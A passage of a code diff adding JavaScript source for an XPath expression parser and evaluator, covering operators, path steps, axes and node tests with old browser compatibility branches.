+            for (var j = 0, l1 = rnodes.length; j < l1; j ++)
+                if (comp(NodeUtil.to('string', lnodes[i]), NodeUtil.to('string', rnodes[j])))
+                    return true;
+        return false;
+    }
+
+    if (left.isNodeSet || right.isNodeSet) {
+        if (left.isNodeSet)
+            nodeset = left, primitive = right;
+        else
+            nodeset = right, primitive = left;
+
+        nodes = nodeset.list();
+        type = typeof primitive;
+        for (var i = 0, l = nodes.length; i < l; i ++) {
+            if (comp(NodeUtil.to(type, nodes[i]), primitive))
+                return true;
+        }
+        return false;
+    }
+
+    if (op == '=' || op == '!=') {
+        if (typeof left == 'boolean' || typeof right == 'boolean') {
+            return comp(!!left, !!right);
+        }
+        if (typeof left == 'number' || typeof right == 'number') {
+            return comp(+left, +right);
+        }
+        return comp(left, right);
+    }
+
+    return comp(+left, +right);
+};
+
+
+BinaryExpr.ops = {
+    'div': [6, function(left, right, ctx) {
+        return left.number(ctx) / right.number(ctx);
+    }, 'number'],
+    'mod': [6, function(left, right, ctx) {
+        return left.number(ctx) % right.number(ctx);
+    }, 'number'],
+    '*': [6, function(left, right, ctx) {
+        return left.number(ctx) * right.number(ctx);
+    }, 'number'],
+    '+': [5, function(left, right, ctx) {
+        return left.number(ctx) + right.number(ctx);
+    }, 'number'],
+    '-': [5, function(left, right, ctx) {
+        return left.number(ctx) - right.number(ctx);
+    }, 'number'],
+    '<': [4, function(left, right, ctx) {
+        return BinaryExpr.compare('<',
+                    function(a, b) { return a < b }, left, right, ctx);
+    }, 'boolean'],
+    '>': [4, function(left, right, ctx) {
+        return BinaryExpr.compare('>',
+                    function(a, b) { return a > b }, left, right, ctx);
+    }, 'boolean'],
+    '<=': [4, function(left, right, ctx) {
+        return BinaryExpr.compare('<=',
+                    function(a, b) { return a <= b }, left, right, ctx);
+    }, 'boolean'],
+    '>=': [4, function(left, right, ctx) {
+        return BinaryExpr.compare('>=',
+                    function(a, b) { return a >= b }, left, right, ctx);
+    }, 'boolean'],
+    '=': [3, function(left, right, ctx) {
+        return BinaryExpr.compare('=',
+                    function(a, b) { return a == b }, left, right, ctx);
+    }, 'boolean'],
+    '!=': [3, function(left, right, ctx) {
+        return BinaryExpr.compare('!=',
+                    function(a, b) { return a != b }, left, right, ctx);
+    }, 'boolean'],
+    'and': [2, function(left, right, ctx) {
+        return left.bool(ctx) && right.bool(ctx);
+    }, 'boolean'],
+    'or': [1, function(left, right, ctx) {
+        return left.bool(ctx) || right.bool(ctx);
+    }, 'boolean']
+};
+
+
+BinaryExpr.parse = function(lexer) {
+    var op, precedence, info, expr, stack = [], index = lexer.index;
+
+    while (true) {
+
+        if (lexer.empty()) {
+            throw Error('missing right expression');
+        }
+        expr = UnaryExpr.parse(lexer);
+
+        op = lexer.next();
+        if (!op) {
+            break;
+        }
+
+        info = this.ops[op];
+        precedence = info && info[0];
+        if (!precedence) {
+            lexer.back();
+            break;
+        }
+
+        while (stack.length && precedence <= this.ops[stack[stack.length-1]][0]) {
+            expr = new BinaryExpr(stack.pop(), stack.pop(), expr);
+        }
+
+        stack.push(expr, op);
+    }
+
+    while (stack.length) {
+        expr = new BinaryExpr(stack.pop(), stack.pop(), expr);
+    }
+
+    return expr;
+};
+
+BinaryExpr.prototype = new BaseExpr();
+
+BinaryExpr.prototype.evaluate = function(ctx) {
+    return BinaryExpr.ops[this.op][1](this.left, this.right, ctx);
+};
+
+BinaryExpr.prototype.show = function(indent) {
+    indent = indent || '';
+    var t = '';
+    t += indent + 'binary: ' + this.op + '\n';
+    indent += '    ';
+    t += this.left.show(indent);
+    t += this.right.show(indent);
+    return t;
+};
+
+
+/**
+ * class: UnaryExpr
+ */
+if (!window.UnaryExpr && window.defaultConfig)
+    window.UnaryExpr = null;
+
+UnaryExpr = function(op, expr) {
+    this.op = op;
+    this.expr = expr;
+
+    this.needContextPosition = expr.needContextPosition;
+    this.needContextNode = expr.needContextNode;
+};
+
+UnaryExpr.ops = { '-': 1 };
+
+UnaryExpr.parse = function(lexer) {
+    var token;
+    if (this.ops[lexer.peek()])
+        return new UnaryExpr(lexer.next(), UnaryExpr.parse(lexer));
+    else
+        return UnionExpr.parse(lexer);
+};
+
+UnaryExpr.prototype = new BaseExpr();
+
+UnaryExpr.prototype.datatype = 'number';
+
+UnaryExpr.prototype.evaluate = function(ctx) {
+    return - this.expr.number(ctx);
+};
+
+UnaryExpr.prototype.show = function(indent) {
+    indent = indent || '';
+    var t = '';
+    t += indent + 'unary: ' + this.op + '\n';
+    indent += '    ';
+    t += this.expr.show(indent);
+    return t;
+};
+
+
+/**
+ * class: UnionExpr
+ */
+if (!window.UnionExpr && window.defaultConfig)
+    window.UnionExpr = null;
+
+UnionExpr = function() {
+    this.paths = [];
+};
+
+UnionExpr.ops = { '|': 1 };
+
+
+UnionExpr.parse = function(lexer) {
+    var union, expr;
+
+    expr = PathExpr.parse(lexer);
+    if (!this.ops[lexer.peek()])
+        return expr;
+
+    union = new UnionExpr();
+    union.path(expr);
+
+    while (true) {
+        if (!this.ops[lexer.next()]) break;
+        if (lexer.empty()) {
+            throw Error('missing next union location path');
+        }
+        union.path(PathExpr.parse(lexer));
+    }
+
+
+
+    lexer.back();
+    return union;
+};
+
+UnionExpr.prototype = new BaseExpr();
+
+UnionExpr.prototype.datatype = 'nodeset';
+
+UnionExpr.prototype.evaluate = function(ctx) {
+    var paths = this.paths;
+    var nodeset = new NodeSet();
+    for (var i = 0, l = paths.length; i < l; i ++) {
+        var exrs = paths[i].evaluate(ctx);
+        if (!exrs.isNodeSet) throw Error('PathExpr must be nodeset');
+        nodeset.merge(exrs);
+    }
+    return nodeset;
+};
+
+UnionExpr.prototype.path = function(path) {
+    this.paths.push(path);
+
+    if (path.needContextPosition) {
+        this.needContextPosition = true;
+    }
+    if (path.needContextNode) {
+        this.needContextNode = true;
+    }
+}
+UnionExpr.prototype.show = function(indent) {
+    indent = indent || '';
+    var t = '';
+    t += indent + 'union:' + '\n';
+    indent += '    ';
+    for (var i = 0; i < this.paths.length; i ++) {
+        t += this.paths[i].show(indent);
+    }
+    return t;
+};
+
+
+/**
+ * class: PathExpr
+ */
+if (!window.PathExpr && window.defaultConfig)
+    window.PathExpr = null;
+
+PathExpr = function(filter) {
+    this.filter = filter;
+    this.steps = [];
+
+    this.datatype = filter.datatype;
+
+    this.needContextPosition = filter.needContextPosition;
+    this.needContextNode = filter.needContextNode;
+};
+
+PathExpr.ops = { '//': 1, '/': 1 };
+
+PathExpr.parse = function(lexer) {
+    var op, expr, path, token;
+
+    if (this.ops[lexer.peek()]) {
+        op = lexer.next();
+        token = lexer.peek();
+
+        if (op == '/' && (lexer.empty() || 
+                (token != '.' && token != '..' && token != '@' && token != '*' && 
+                !/(?![0-9])[\w]/.test(token)))) { 
+            return FilterExpr.root();
+        }
+
+        path = new PathExpr(FilterExpr.root()); // RootExpr
+
+        if (lexer.empty()) {
+            throw Error('missing next location step');
+        }
+        expr = Step.parse(lexer);
+        path.step(op, expr);
+    }
+    else {
+        expr = FilterExpr.parse(lexer);
+        if (!expr) {
+            expr = Step.parse(lexer);
+            path = new PathExpr(FilterExpr.context());
+            path.step('/', expr);
+        }
+        else if (!this.ops[lexer.peek()])
+            return expr;
+        else
+            path = new PathExpr(expr);
+    }
+
+    while (true) {
+        if (!this.ops[lexer.peek()]) break;
+        op = lexer.next();
+        if (lexer.empty()) {
+            throw Error('missing next location step');
+        }
+        path.step(op, Step.parse(lexer));
+    }
+
+    return path;
+};
+
+PathExpr.prototype = new BaseExpr();
+
+PathExpr.prototype.evaluate = function(ctx) {
+    var nodeset = this.filter.evaluate(ctx);
+    if (!nodeset.isNodeSet) throw Exception('Filter nodeset must be nodeset type');
+
+    var steps = this.steps;
+
+    for (var i = 0, l0 = steps.length; i < l0 && nodeset.length; i ++) {
+        var step = steps[i][1];
+        var reverse = step.reverse;
+        var iter = nodeset.iterator(reverse);
+        var prevNodeset = nodeset;
+        nodeset = null;
+        var node, next;
+        if (!step.needContextPosition && step.axis == 'following') {
+            for (node = iter(); next = iter(); node = next) {
+
+                // Safari 2 node.contains problem
+                if (uai.applewebkit2) {
+                    var contains = false;
+                    var ancestor = next;
+                    do {
+                        if (ancestor == node) {
+                            contains = true;
+                            break;
+                        }
+                    } while (ancestor = ancestor.parentNode);
+                    if (!contains) break;
+                }
+                else {
+                    try { if (!node.contains(next)) break }
+                    catch(e) { if (!(next.compareDocumentPosition(node) & 8)) break }
+                }
+            }
+            nodeset = step.evaluate(new Ctx(node));
+        }
+        else if (!step.needContextPosition && step.axis == 'preceding') {
+            node = iter();
+            nodeset = step.evaluate(new Ctx(node));
+        }
+        else {
+            node = iter();
+            var j = 0;
+            nodeset = step.evaluate(new Ctx(node), false, prevNodeset, j);
+            while (node = iter()) {
+                j ++;
+                nodeset.merge(step.evaluate(new Ctx(node), false, prevNodeset, j));
+            }
+        }
+    }
+
+    return nodeset;
+};
+
+PathExpr.prototype.step = function(op, step) {
+    step.op = op;
+    this.steps.push([op, step]);
+
+    this.quickAttr = false;
+
+    if (this.steps.length == 1) {
+        if (op == '/' && step.axis == 'attribute') {
+            var test = step.test;
+            if (!test.notOnlyElement && test.name != '*') {
+                this.quickAttr = true;
+                this.attrName = test.name;
+            }
+        }
+    }
+};
+
+PathExpr.prototype.show = function(indent) {
+    indent = indent || '';
+    var t = '';
+    t += indent + 'path:' + '\n';
+    indent += '    ';
+    t += indent + 'filter:' + '\n';
+    t += this.filter.show(indent + '    ');
+    if (this.steps.length) {
+        t += indent + 'steps:' + '\n';
+        indent += '    ';
+        for (var i = 0; i < this.steps.length; i ++) {
+            var step = this.steps[i];
+            t += indent + 'operator: ' + step[0] + '\n';
+            t += step[1].show(indent);
+        }
+    }
+    return t;
+};
+
+
+/**
+ * class: FilterExpr
+ */
+if (!window.FilterExpr && window.defaultConfig)
+    window.FilterExpr = null;
+
+FilterExpr = function(primary) {
+    this.primary = primary;
+    this.predicates = [];
+
+    this.datatype = primary.datatype;
+
+    this.needContextPosition = primary.needContextPosition;
+
+    this.needContextNode = primary.needContextNode;
+};
+
+FilterExpr.parse = function(lexer) {
+    var expr, filter, token, ch;
+
+    token = lexer.peek();
+    ch = token.charAt(0);
+
+    switch (ch) {
+        case '$':
+            expr = VariableReference.parse(lexer);
+            break;
+
+        case '(':
+            lexer.next();
+            expr = BinaryExpr.parse(lexer);
+            if (lexer.empty()) {
+                throw Error('unclosed "("');
+            }
+            if (lexer.next() != ')') {
+                lexer.back();
+                throw Error('bad token: ' + lexer.next());
+            }
+            break;
+
+        case '"':
+        case "'":
+            expr = Literal.parse(lexer);
+            break;
+
+        default:
+            if (!isNaN(+token)) {
+                expr = Number.parse(lexer);
+            }
+
+            else if (NodeType.types[token]) {
+                return null;
+            }
+
+            else if (/(?![0-9])[\w]/.test(ch) && lexer.peek(1) == '(') {
+                expr = FunctionCall.parse(lexer);
+            }
+            else {
+                return null;
+            }
+            break;
+    }
+
+    if (lexer.peek() != '[') return expr;
+
+    filter = new FilterExpr(expr);
+
+    BaseExprHasPredicates.parsePredicates(lexer, filter);
+
+    return filter;
+};
+
+FilterExpr.root = function() {
+    return new FunctionCall('root-node');
+};
+FilterExpr.context = function() {
+    return new FunctionCall('context-node');
+};
+
+FilterExpr.prototype = new BaseExprHasPredicates();
+
+FilterExpr.prototype.evaluate = function(ctx) {
+    var nodeset = this.primary.evaluate(ctx);
+    if(!nodeset.isNodeSet) {
+        if (this.predicates.length)
+            throw Error(
+                'Primary result must be nodeset type ' +
+                'if filter have predicate expression');
+        return nodeset;
+    }
+
+    return  this.evaluatePredicates(nodeset);
+};
+
+FilterExpr.prototype.predicate = function(predicate) {
+    this.predicates.push(predicate);
+};
+
+FilterExpr.prototype.show = function(indent) {
+    indent = indent || '';
+    var t = '';
+    t += indent + 'filter: ' + '\n';
+    indent += '    ';
+    t += this.primary.show(indent);
+    if (this.predicates.length) {
+        t += indent + 'predicates: ' + '\n';
+        indent += '    ';
+        for (var i = 0; i < this.predicates.length; i ++) {
+            t += this.predicates[i].show(indent);
+        }
+    }
+    return t;
+};
+
+
+if (!window.NodeUtil && window.defaultConfig)
+    window.NodeUtil = null;
+
+NodeUtil = {
+    to: function(valueType, node) {
+        var t, type = node.nodeType;
+        // Safari2: innerText contains some bugs
+        if (type == 1 && config.useInnerText && !uai.applewebkit2) {
+            t = node.textContent;
+            t = (t == undefined || t == null) ? node.innerText : t;
+            t = (t == undefined || t == null) ? '' : t;
+        }
+        if (typeof t != 'string') {
+/*@cc_on
+            if (type == 1 && node.nodeName.toLowerCase() == 'title') {
+                t = node.text;
+            }
+            else
+@*/
+            if (type == 9 || type == 1) {
+                if (type == 9) {
+                    node =  node.documentElement;
+                }
+                else {
+                    node = node.firstChild;
+                }
+                for (t = '', stack = [], i = 0; node;) {
+                    do {
+                        if (node.nodeType != 1) {
+                            t += node.nodeValue;
+                        }
+/*@cc_on
+                        else if (node.nodeName.toLowerCase() == 'title') {
+                            t += node.text;
+                        }
+@*/
+                        stack[i++] = node; // push
+                    } while (node = node.firstChild);
+                    while (i && !(node = stack[--i].nextSibling)) {}
+                }
+            }
+            else {
+                t = node.nodeValue;
+            }
+        }
+        switch (valueType) {
+            case 'number':
+                return + t;
+            case 'boolean':
+                return !! t;
+            default:
+                return t;
+        }
+    },
+    attrPropMap: {
+        name: 'name',
+        'class': 'className',
+        dir: 'dir',
+        id: 'id',
+        name: 'name',
+        title: 'title'
+    },
+    attrMatch: function(node, attrName, attrValue) {
+/*@cc_on @if (@_jscript)
+        var propName = NodeUtil.attrPropMap[attrName];
+        if (!attrName ||
+            attrValue == null && (
+                propName && node[propName] ||
+                !propName && node.getAttribute && node.getAttribute(attrName, 2)
+            ) ||
+            attrValue != null && (
+                propName && node[propName] == attrValue ||
+                !propName && node.getAttribute && node.getAttribute(attrName, 2) == attrValue
+            )) {
+@else @*/
+        if (!attrName ||
+            attrValue == null && node.hasAttribute && node.hasAttribute(attrName) ||
+            attrValue != null && node.getAttribute && node.getAttribute(attrName) == attrValue) {
+/*@end @*/
+            return true;
+        }
+        else {
+            return false;
+        }
+    },
+    getDescendantNodes: function(test, node, nodeset, attrName, attrValue, prevNodeset, prevIndex) {
+        if (prevNodeset) {
+            prevNodeset.delDescendant(node, prevIndex);
+        }
+/*@cc_on
+        try {
+            if (!test.notOnlyElement || test.type == 8 || (attrName && test.type == 0)) {
+
+                var all = node.all;
+                if (!all) {
+                    return nodeset;
+                }
+
+                var name = test.name;
+                if (test.type == 8) name = '!';
+                else if (test.type == 0) name = '*';
+
+                if (name != '*') {
+                    all = all.tags(name);
+                    if (!all) {
+                        return nodeset;
+                    }
+                }
+
+                if (attrName) {
+                    var result = []
+                    var i = 0;
+                    if (attrValue != null && (attrName == 'id' || attrName == 'name')) {
+                        all = all[attrValue];
+                        if (!all) {
+                            return nodeset;
+                        }
+                        if (!all.length || all.nodeType) {
+                            all = [all];
+                        }
+                    }
+        
+                    while (node = all[i++]) {
+                        if (NodeUtil.attrMatch(node, attrName, attrValue)) result.push(node);
+                    }
+
+                    all = result;
+                }
+
+                var i = 0;
+                while (node = all[i++]) {
+                    if (name != '*' || node.tagName != '!') {
+                        nodeset.push(node);
+                    }
+                }
+
+                return nodeset;
+            }
+
+            (function (parent) {
+                var g = arguments.callee;
+                var node = parent.firstChild;
+                if (node) {
+                    for (; node; node = node.nextSibling) {
+                        if (NodeUtil.attrMatch(node, attrName, attrValue)) {
+                            if (test.match(node)) nodeset.push(node);
+                        }
+                        g(node);
+                    }
+                }
+            })(node);
+
+            return nodeset;
+        }
+        catch(e) {
+@*/
+        if (attrValue && attrName == 'id' && node.getElementById) {
+            node = node.getElementById(attrValue);
+            if (node && test.match(node)) {
+                nodeset.push(node);
+            }
+        }
+        else if (attrValue && attrName == 'name' && node.getElementsByName) {
+            var nodes = node.getElementsByName(attrValue);
+            for (var i = 0, l = nodes.length; i < l; i ++) {
+                node = nodes[i];
+                if (uai.opera ? (node.name == attrValue && test.match(node)) : test.match(node)) {
+                    nodeset.push(node);
+                }
+            }
+        }
+        else if (attrValue && attrName == 'class' && node.getElementsByClassName) {
+            var nodes = node.getElementsByClassName(attrValue);
+            for (var i = 0, l = nodes.length; i < l; i ++) {
+                node = nodes[i];
+                if (node.className == attrValue && test.match(node)) {
+                    nodeset.push(node);
+                }
+            }
+        }
+        else if (test.notOnlyElement) {
+            (function (parent) {
+                var f = arguments.callee;
+                for (var node = parent.firstChild; node; node = node.nextSibling) {
+                    if (NodeUtil.attrMatch(node, attrName, attrValue)) {
+                        if (test.match(node.nodeType)) nodeset.push(node);
+                    }
+                    f(node);
+                }
+            })(node);
+        }
+        else {
+            var name = test.name;
+            if (node.getElementsByTagName) {
+                var nodes = node.getElementsByTagName(name);
+                if (nodes) {
+                    var i = 0;
+                    while (node = nodes[i++]) {
+                        if (NodeUtil.attrMatch(node, attrName, attrValue)) nodeset.push(node);
+                    }
+                }
+            }
+        }
+        return nodeset;
+/*@cc_on
+        }
+@*/
+    },
+
+    getChildNodes: function(test, node, nodeset, attrName, attrValue) {
+
+/*@cc_on
+        try {
+            var children;
+
+            if ((!test.notOnlyElement || test.type == 8 || (attrName && test.type == 0)) && (children = node.children)) {
+                var name, elm;
+
+                name = test.name;
+                if (test.type == 8) name = '!';
+                else if (test.type == 0) name = '*';
+
+                if (name != '*') {
+                    children = children.tags(name);
+                    if (!children) {
+                        return nodeset;
+                    }
+                }
+
+                if (attrName) {
+                    var result = []
+                    var i = 0;
+                    if (attrName == 'id' || attrName == 'name') {
+                        children = children[attrValue];
+        
+                        if (!children) {
+                            return nodeset;
+                        }
+        
+                        if (!children.length || children.nodeType) {
+                            children = [children];
+                        }
+                    }
+        
+                    while (node = children[i++]) {
+                        if (NodeUtil.attrMatch(node, attrName, attrValue)) result.push(node);
+                    }
+                    children = result;
+                }
+
+                var i = 0;
+                while (node = children[i++]) {
+                    if (name != '*' || node.tagName != '!') {
+                        nodeset.push(node);
+                    }
+                }
+
+                return nodeset;
+            }
+
+            for (var i = 0, node = node.firstChild; node; i++, node = node.nextSibling) {
+                if (NodeUtil.attrMatch(node, attrName, attrValue)) {
+                    if (test.match(node)) nodeset.push(node);
+                }
+            }
+
+            return nodeset;
+        } catch(e) {
+@*/
+        for (var node = node.firstChild; node; node = node.nextSibling) {
+            if (NodeUtil.attrMatch(node, attrName, attrValue)) {
+                if (test.match(node)) nodeset.push(node);
+            }
+        }
+        return nodeset;
+/*@cc_on
+        }
+@*/
+    }
+};
+
+/*@cc_on
+var AttributeWrapper = function(node, parent, sourceIndex) {
+    this.node = node;
+    this.nodeType = 2;
+    this.nodeValue = node.nodeValue;
+    this.nodeName = node.nodeName;
+    this.parentNode = parent;
+    this.ownerElement = parent;
+    this.parentSourceIndex = sourceIndex;
+};
+
+@*/
+
+
+/**
+ * class: Step
+ */
+if (!window.Step && window.defaultConfig)
+    window.Step = null;
+
+Step = function(axis, test) {
+    // TODO check arguments and throw axis error
+    this.axis = axis;
+    this.reverse = Step.axises[axis][0];
+    this.func = Step.axises[axis][1];
+    this.test = test;
+    this.predicates = [];
+    this._quickAttr = Step.axises[axis][2]
+};
+
+Step.axises = {
+
+    ancestor: [true, function(test, node, nodeset, _, __, prevNodeset, prevIndex) {
+        while (node = node.parentNode) {
+            if (prevNodeset && node.nodeType == 1) {
+                prevNodeset.reserveDelByNode(node, prevIndex, true);
+            }
+            if (test.match(node)) nodeset.unshift(node);
+        }
+        return nodeset;
+    }],
+
+    'ancestor-or-self': [true, function(test, node, nodeset, _, __, prevNodeset, prevIndex) {
+        do {
+            if (prevNodeset && node.nodeType == 1) {
+                prevNodeset.reserveDelByNode(node, prevIndex, true);
+            }
+            if (test.match(node)) nodeset.unshift(node);
+        } while (node = node.parentNode)
+        return nodeset;
+    }],
+
+    attribute: [false, function(test, node, nodeset) {
+        var attrs = node.attributes;
+        if (attrs) {
+/*@cc_on
+            var sourceIndex = node.sourceIndex;
+@*/
+            if ((test.notOnlyElement && test.type == 0) || test.name == '*') {
+                for (var i = 0, attr; attr = attrs[i]; i ++) {
+/*@cc_on @if (@_jscript)
+                    if (attr.nodeValue) {
+                        nodeset.push(new AttributeWrapper(attr, node, sourceIndex));
+                    }
+@else @*/
+                    nodeset.push(attr);
+/*@end @*/
+                }
+            }
+            else {
+                var attr = attrs.getNamedItem(test.name);
+                
+/*@cc_on @if (@_jscript)
+                if (attr && attr.nodeValue) {
+                    attr = new AttributeWrapper(attr, node, sourceIndex);;
+@else @*/
+                if (attr) {
+/*@end @*/
+                    nodeset.push(attr);
+                }
+            }
+        }
+        return nodeset;
+    }],
+
+    child: [false, NodeUtil.getChildNodes, true],
+
+    descendant: [false, NodeUtil.getDescendantNodes, true],
+
+    'descendant-or-self': [false, function(test, node, nodeset, attrName, attrValue, prevNodeset, prevIndex) {
+        if (NodeUtil.attrMatch(node, attrName, attrValue)) {
+            if (test.match(node)) nodeset.push(node);
+        }
+        return NodeUtil.getDescendantNodes(test, node, nodeset, attrName, attrValue, prevNodeset, prevIndex);
+    }, true],
+
+    following: [false, function(test, node, nodeset, attrName, attrValue) {
+        do {
+            var child = node;
+            while (child = child.nextSibling) {
+                if (NodeUtil.attrMatch(child, attrName, attrValue)) {
+                    if (test.match(child)) nodeset.push(child);
+                }
+                nodeset = NodeUtil.getDescendantNodes(test, child, nodeset, attrName, attrValue);
+            }
+        } while (node = node.parentNode);
+        return nodeset;
+    }, true],
+
+    'following-sibling': [false, function(test, node, nodeset, _, __, prevNodeset, prevIndex) {
+        while (node = node.nextSibling) {
+
+            if (prevNodeset && node.nodeType == 1) {
+                prevNodeset.reserveDelByNode(node, prevIndex);
+            }
+
+            if (test.match(node)) {
+                nodeset.push(node);
+            }
+        }
+        return nodeset;
+    }],
+
+    namespace: [false, function(test, node, nodeset) {
+        // not implemented
+        return nodeset;
+    }],
+
+    parent: [false, function(test, node, nodeset) {
+        if (node.nodeType == 9) {
+            return nodeset;
+        }
+        if (node.nodeType == 2) {
+            nodeset.push(node.ownerElement);
+            return nodeset;
+        }
+        var node = node.parentNode;
+        if (test.match(node)) nodeset.push(node);
+        return nodeset;
+    }],
+
+    preceding: [true, function(test, node, nodeset, attrName, attrValue) {
+        var parents = [];
+        do {
+            parents.unshift(node);
+        } while (node = node.parentNode);
+
+        for (var i = 1, l0 = parents.length; i < l0; i ++) {
+            var siblings = [];
+            node = parents[i];
+            while (node = node.previousSibling) {
+                siblings.unshift(node);
+            }
+
+            for (var j = 0, l1 = siblings.length; j < l1; j ++) {
+                node = siblings[j];
+                if (NodeUtil.attrMatch(node, attrName, attrValue)) {
+                    if (test.match(node)) nodeset.push(node);
+                }
+                nodeset = NodeUtil.getDescendantNodes(test, node, nodeset, attrName, attrValue);
+            }
+        }
+        return nodeset;
+    }, true],
+
+    'preceding-sibling': [true, function(test, node, nodeset, _, __, prevNodeset, prevIndex) {
+        while (node = node.previousSibling) {
+
+            if (prevNodeset && node.nodeType == 1) {
+                prevNodeset.reserveDelByNode(node, prevIndex, true);
+            }
+
+            if (test.match(node)) {
+                nodeset.unshift(node)
+            }
+        }
+        return nodeset;
+    }],
+
+    self: [false, function(test, node, nodeset) {
+        if (test.match(node)) nodeset.push(node);
+        return nodeset;
+    }]
+};
+
+Step.parse = function(lexer) {
+    var axis, test, step, token;
+
+    if (lexer.peek() == '.') {
+        step = this.self();
+        lexer.next();
+    }
+    else if (lexer.peek() == '..') {
+        step = this.parent();
+        lexer.next();
+    }
+    else {
+        if (lexer.peek() == '@') {
+            axis = 'attribute';
+            lexer.next();
+            if (lexer.empty()) {
+                throw Error('missing attribute name');
+            }
+        }
+        else {
+            if (lexer.peek(1) == '::') {
+                
+                if (!/(?![0-9])[\w]/.test(lexer.peek().charAt(0))) {
+                    throw Error('bad token: ' + lexer.next());
+                }
+        
+                axis = lexer.next();
+                lexer.next();
+
+                if (!this.axises[axis]) {
+                    throw Error('invalid axis: ' + axis);
+                }
+                if (lexer.empty()) {
+                    throw Error('missing node name');
+                }
+            }
+            else {
+                axis = 'child';
+            }
+        }
+    
+        token = lexer.peek();
+        if (!/(?![0-9])[\w]/.test(token.charAt(0))) {
+            if (token == '*') {
+                test = NameTest.parse(lexer)
+            }
+            else {
+                throw Error('bad token: ' + lexer.next());
+            }
+        }
+        else {
+            if (lexer.peek(1) == '(') {
+                if (!NodeType.types[token]) {
+                    throw Error('invalid node type: ' + token);
+                }
+                test = NodeType.parse(lexer)
+            }
+            else {
+                test = NameTest.parse(lexer);
+            }
+        }
+        step = new Step(axis, test);
+    }
+
+    BaseExprHasPredicates.parsePredicates(lexer, step);
+
+    return step;
+};
+
+Step.self = function() {
+    return new Step('self', new NodeType('node'));
+};
+
+Step.parent = function() {
+    return new Step('parent', new NodeType('node'));
+};
+
+Step.prototype = new BaseExprHasPredicates();
+
+Step.prototype.evaluate = function(ctx, special, prevNodeset, prevIndex) {
+    var node = ctx.node;
+    var reverse = false;
+
+    if (!special && this.op == '//') {
+
+        if (!this.needContextPosition && this.axis == 'child') {
+            if (this.quickAttr) {
+                var attrValue = this.attrValueExpr ? this.attrValueExpr.string(ctx) : null;
+                var nodeset = NodeUtil.getDescendantNodes(this.test, node, new NodeSet(), this.attrName, attrValue, prevNodeset, prevIndex);
+                nodeset = this.evaluatePredicates(nodeset, 1);
+            }
+            else {
+                var nodeset = NodeUtil.getDescendantNodes(this.test, node, new NodeSet(), null, null, prevNodeset, prevIndex);
+                nodeset = this.evaluatePredicates(nodeset);
+            }
+        }
+        else {
+            var step = new Step('descendant-or-self', new NodeType('node'));
+            var nodes = step.evaluate(ctx, false, prevNodeset, prevIndex).list();
+            var nodeset = null;
+            step.op = '/';
+            for (var i = 0, l = nodes.length; i < l; i ++) {
+                if (!nodeset) {
+                    nodeset = this.evaluate(new Ctx(nodes[i]), true);
+                }
+                else {
+                    nodeset.merge(this.evaluate(new Ctx(nodes[i]), true));
+                }
+            }
+            nodeset = nodeset || new NodeSet();
+        }
+    }
+    else {
+
+        if (this.needContextPosition) {
+            prevNodeset = null;
+            prevIndex = null;
+        }
+
+        if (this.quickAttr) {
+            var attrValue = this.attrValueExpr ? this.attrValueExpr.string(ctx) : null;
+            var nodeset = this.func(this.test, node, new NodeSet(), this.attrName, attrValue, prevNodeset, prevIndex);
+            nodeset = this.evaluatePredicates(nodeset, 1);
+        }
+        else {
+            var nodeset = this.func(this.test, node, new NodeSet(), null, null, prevNodeset, prevIndex);
+            nodeset = this.evaluatePredicates(nodeset);
+        }
+        if (prevNodeset) {
+            prevNodeset.doDel();
+        }
+    }
+    return nodeset;
+};
+
+Step.prototype.predicate = function(predicate) {
+    this.predicates.push(predicate);
+
+    if (predicate.needContextPosition ||
+        predicate.datatype == 'number'||
+        predicate.datatype == 'void') {
+        this.needContextPosition = true;
+    }
+
+    if (this._quickAttr && this.predicates.length == 1 && predicate.quickAttr) {
+        var attrName = predicate.attrName;
+/*@cc_on @if (@_jscript)
+        this.attrName = attrName.toLowerCase();
+@else @*/
+        this.attrName = attrName;
+/*@end @*/
+        this.attrValueExpr = predicate.attrValueExpr;
+        this.quickAttr = true;
+    }
+};
+
+Step.prototype.show = function(indent) {
+    indent = indent || '';
+    var t = '';
+    t += indent + 'step: ' + '\n';
+    indent += '    ';
+    if (this.axis) t += indent + 'axis: ' + this.axis + '\n';
+    t += this.test.show(indent);
+    if (this.predicates.length) {
+        t += indent + 'predicates: ' + '\n';
+        indent += '    ';
+        for (var i = 0; i < this.predicates.length; i ++) {
+            t += this.predicates[i].show(indent);
+        }
+    }
+    return t;
+};
+
+
+
+/**
+ * NodeType
+ */
+if (!window.NodeType && window.defaultConfig)
+    window.NodeType = null;
+    
+NodeType = function(name, literal) {
+    this.name = name;
+    this.literal = literal;
+
+    switch (name) {
+        case 'comment':
+            this.type = 8;
+            break;
+        case 'text':
+            this.type = 3;
+            break;
+        case 'processing-instruction':
+            this.type = 7;
+            break;
+        case 'node':
+            this.type = 0;
+            break;
+    }
+};
+
+NodeType.types = {
+    'comment':1, 'text':1, 'processing-instruction':1, 'node':1
+};
+
+NodeType.parse = function(lexer) {
+    var type, literal, ch;
+    type = lexer.next();
+    lexer.next();
+    if (lexer.empty()) {
+        throw Error('bad nodetype');
+    }
+    ch = lexer.peek().charAt(0);
+    if (ch == '"' || ch == "'") {
+        literal = Literal.parse(lexer);
+    }
+    if (lexer.empty()) {
+        throw Error('bad nodetype');
+    }
+    if (lexer.next() != ')') {
+        lexer.back();
+        throw Error('bad token ' + lexer.next());
+    }
+    return new NodeType(type, literal);
+};
+
+NodeType.prototype = new BaseExpr();
+
+NodeType.prototype.notOnlyElement = true;
+
+NodeType.prototype.match = function(node) {
+    return !this.type || this.type == node.nodeType;
+};
+
+NodeType.prototype.show = function(indent) {
+    indent = indent || '';
+    var t = '';
+    t += indent + 'nodetype: ' + this.type + '\n';
+    if (this.literal) {
+        indent += '    ';
+        t += this.literal.show(indent);
+    }
+    return t;
+};
+
+
+/**
+ * NodeType
+ */
+if (!window.NameTest && window.defaultConfig)
+    window.NameTest = null;
+
+NameTest = function(name) {
+    this.name = name.toLowerCase();
+};
+
+NameTest.parse = function(lexer) {
+    if (lexer.peek() != '*' &&  lexer.peek(1) == ':' && lexer.peek(2) == '*') {
+        return new NameTest(lexer.next() + lexer.next() + lexer.next());
+    }
+    return new NameTest(lexer.next());
+};
+
+NameTest.prototype = new BaseExpr();
+
+NameTest.prototype.match = function(node) {
+    var type = node.nodeType;
+
+    if (type == 1 || type == 2) {
+        if (this.name == '*' || this.name == node.nodeName.toLowerCase()) {
+            return true;
+        }
+    }
+    return false;
+};
+
+NameTest.prototype.show = function(indent) {
+    indent = indent || '';
+    var t = '';
+    t += indent + 'nametest: ' + this.name + '\n';
